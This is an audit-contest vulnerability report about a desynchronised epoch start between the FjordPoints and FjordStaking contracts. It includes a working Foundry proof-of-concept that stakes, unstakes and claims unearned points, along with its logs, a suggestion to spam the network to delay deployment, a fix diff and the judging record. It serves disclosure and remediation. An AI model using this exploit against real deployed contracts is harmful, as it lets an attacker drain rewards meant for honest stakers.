DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Epoch Timing Attack: Staking Deployment Delay Exploit

Summary

The FjordPoints and FjordStaking contracts are designed to reward users with points tokens based on their staked amounts over epoch intervals. However, due to a timing discrepancy introduced during the deployment sequence, it is possible for an attacker to exploit this arrangement to claim points without having their tokens locked for a full epoch. Specifically, the FjordPoints contract initializes its epoch from the block timestamp at deployment, and the FjordStaking contract does similarly but is deployed subsequently in a different block. This time difference allows attackers to manipulate the system by strategically staking and unstaking tokens around epoch changes, thus violating the intended incentives.

Vulnerability Details

The issue arises from the interaction between the FjordPoints and FjordStaking contracts. Primarily, the constructors and epoch management logic in the following functions:

  • FjordPoints Constructor:

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordPoints.sol#L118C5-L122C6

constructor() ERC20("BjordBoint", "BJB") {
owner = msg.sender;
@>> lastDistribution = block.timestamp;
pointsPerEpoch = 100 ether;
}

FjordStaking Constructor:

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L281C5-L303C6

constructor(
address _fjordToken,
address _rewardAdmin,
address _sablier,
address _authorizedSablierSender,
address _fjordPoints
) {
if (
_rewardAdmin == address(0) || _sablier == address(0) || _fjordToken == address(0)
|| _fjordPoints == address(0)
) revert InvalidZeroAddress();
@>> startTime = block.timestamp;
owner = msg.sender;
fjordToken = ERC20(_fjordToken);
currentEpoch = 1;
rewardAdmin = _rewardAdmin;
sablier = ISablierV2Lockup(_sablier);
points = IFjordPoints(_fjordPoints);
if (_authorizedSablierSender != address(0)) {
authorizedSablierSenders[_authorizedSablierSender] = true;
}
}
  1. Initialization Time Difference:

    • The lastDistribution timestamp for FjordPoints is initialized during its own deployment.

    • The startTime for FjordStaking is initialized subsequently when the staking contract is deployed.

    • Due to separate deployment blocks, there is an inherent slight difference in these timestamps.

  2. Epoch Change Discrepancy:

    • Points are distributed based on the lastDistribution timestamp in FjordPoints.

    • Staking logic in FjordStaking checks epochs based on its own startTime.

    • An attacker can stake tokens just before an epoch change in FjordPoints and then unstake immediately after the points are distributed but before FjordStaking registers the epoch change.

  3. Potential Exploit:

    • By carefully timing the staking and unstaking operations, an attacker can repeatedly claim points without having their tokens locked for a required epoch duration, thereby gaining unearned rewards.

    • An attacker could strategically exploit the timing discrepancy between the deployment of the FjordPoints and FjordStaking contracts by spamming the Ethereum network to raise gas prices. By doing so, they can intentionally delay the deployment of the FjordStaking contract after the FjordPoints contract has already been deployed. This artificial delay extends the window during which the FjordPoints contract's epoch can change before the staked tokens are recognized by the FjordStaking contract.

Impact

This vulnerability allows an attacker to claim unearned rewards by exploiting the timing discrepancy between the FjordPoints contract and the FjordStaking contract epoch start times.

POC

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "../src/FjordStaking.sol";
import { FjordPoints } from "../src/FjordPoints.sol";
import { Test } from "forge-std/Test.sol";
import { MockERC20 } from "solmate/test/utils/mocks/MockERC20.sol";
import { FjordPointsMock } from "./mocks/FjordPointsMock.sol";
import { ISablierV2LockupLinear } from "lib/v2-core/src/interfaces/ISablierV2LockupLinear.sol";
import { ISablierV2Lockup } from "lib/v2-core/src/interfaces/ISablierV2Lockup.sol";
import { Broker, LockupLinear } from "lib/v2-core/src/types/DataTypes.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ud60x18 } from "@prb/math/src/UD60x18.sol";
import "lib/v2-core/src/libraries/Errors.sol";
contract FjordStakingBase is Test {
event Staked(address indexed user, uint16 indexed epoch, uint256 amount);
event VestedStaked(
address indexed user, uint16 indexed epoch, uint256 indexed streamID, uint256 amount
);
event RewardAdded(uint16 indexed epoch, address rewardAdmin, uint256 amount);
event RewardClaimed(address indexed user, uint256 amount);
event EarlyRewardClaimed(address indexed user, uint256 rewardAmount, uint256 penaltyAmount);
event Unstaked(address indexed user, uint16 indexed epoch, uint256 stakedAmount);
event VestedUnstaked(
address indexed user, uint16 indexed epoch, uint256 stakedAmount, uint256 streamID
);
event ClaimReceiptCreated(address indexed user, uint16 requestEpoch);
event UnstakedAll(
address indexed user,
uint256 totalStakedAmount,
uint256[] activeDepositsBefore,
uint256[] activeDepositsAfter
);
event RewardPerTokenChanged(uint16 epoch, uint256 rewardPerToken);
event SablierWithdrawn(address indexed user, uint256 streamID, address caller, uint256 amount);
event SablierCanceled(address indexed user, uint256 streamID, address caller, uint256 amount);
uint256 constant addRewardPerEpoch = 1 ether;
FjordStaking fjordStaking;
MockERC20 token;
address minter = makeAddr("minter");
address newMinter = makeAddr("new_minter");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address internal constant SABLIER_ADDRESS = address(0xB10daee1FCF62243aE27776D7a92D39dC8740f95);
FjordPoints points;
bool isMock = false;
ISablierV2LockupLinear SABLIER = ISablierV2LockupLinear(SABLIER_ADDRESS);
address authorizedSender = address(this);
bool isFuzzOrInvariant = false;
function beforeSetup() internal virtual { }
function afterSetup() internal virtual { }
function setUp() public {
beforeSetup();
if (!isFuzzOrInvariant) {
vm.createSelectFork({ urlOrAlias: "mainnet", blockNumber: 19_595_905 });
}
points = new FjordPoints();
console2.log("points timestamp", block.timestamp);
///// Attack///////
vm.warp(block.timestamp + 100);
token = new MockERC20("Fjord", "FJO", 18);
fjordStaking =
new FjordStaking(address(token), minter, SABLIER_ADDRESS, authorizedSender, address(points));
console2.log("staking timestamp", block.timestamp);
points.setStakingContract(address(fjordStaking));
deal(address(token), address(this), 10000 ether);
token.approve(address(fjordStaking), 10000 ether);
deal(address(token), minter, 10000 ether);
vm.prank(minter);
token.approve(address(fjordStaking), 10000 ether);
deal(address(token), alice, 10000 ether);
vm.prank(alice);
token.approve(address(fjordStaking), 10000 ether);
afterSetup();
}
function logStats(string memory text) internal {
console2.log("");
console2.log(text);
console2.log("Timestamp: ", block.timestamp);
uint pointsTimeLeft = points.lastDistribution() + points.EPOCH_DURATION() - block.timestamp;
console2.log("Time till points rollover: ", pointsTimeLeft);
uint stakingTimeLeft = fjordStaking.startTime() + fjordStaking.epochDuration() - block.timestamp;
console2.log("Time till staking rollover: ", stakingTimeLeft );
}
function test_attack_points() public {
fjordStaking.stake(10 ether);
logStats("start");
vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration() - 150);
logStats("attack start");
console2.log("starting points alice : ", points.balanceOf(alice));
vm.prank(alice);
fjordStaking.stake(10 ether);
// waits 1 or 2 blocks
vm.warp(vm.getBlockTimestamp() + 100);
vm.prank(alice);
fjordStaking.unstake(1, 10 ether);
vm.prank(alice);
points.claimPoints();
logStats("attack after");
console2.log("ending points alice : ", points.balanceOf(alice));
}
}

Logs

[PASS] test_attack_points() (gas: 525087)
Logs:
points timestamp 1712397095
staking timestamp 1712397195
start
Timestamp: 1712397195
Time till points rollover: 604700
Time till staking rollover: 604800
attack start
Timestamp: 1713001845
Time till points rollover: 50
Time till staking rollover: 150
starting points alice : 0
attack after
Timestamp: 1713001945
Time till points rollover: 604750
Time till staking rollover: 50
ending points alice : 50000000000000000000

Tools Used

Foundry

Recommendations

  1. Initialize lastDistribution during setStakingContract:

    • Instead of setting lastDistribution in the FjordPoints constructor, set it during the setStakingContract call.

  2. Synchronize Epoch Start Times:

    • Retrieve the start time directly from the FjordStaking contract within the setStakingContract function. This ensures that both contracts are aligned in terms of epoch timing.

constructor() ERC20("BjordBoint", "BJB") {
owner = msg.sender;
-- lastDistribution = block.timestamp;
pointsPerEpoch = 100 ether;
}
function setStakingContract(address _staking) external onlyOwner {
if (_staking == address(0)) {
revert InvalidAddress();
}
++ lastDistribution = IStakingContract(_staking).startTime();
staking = _staking;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Appeal created

galturok Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.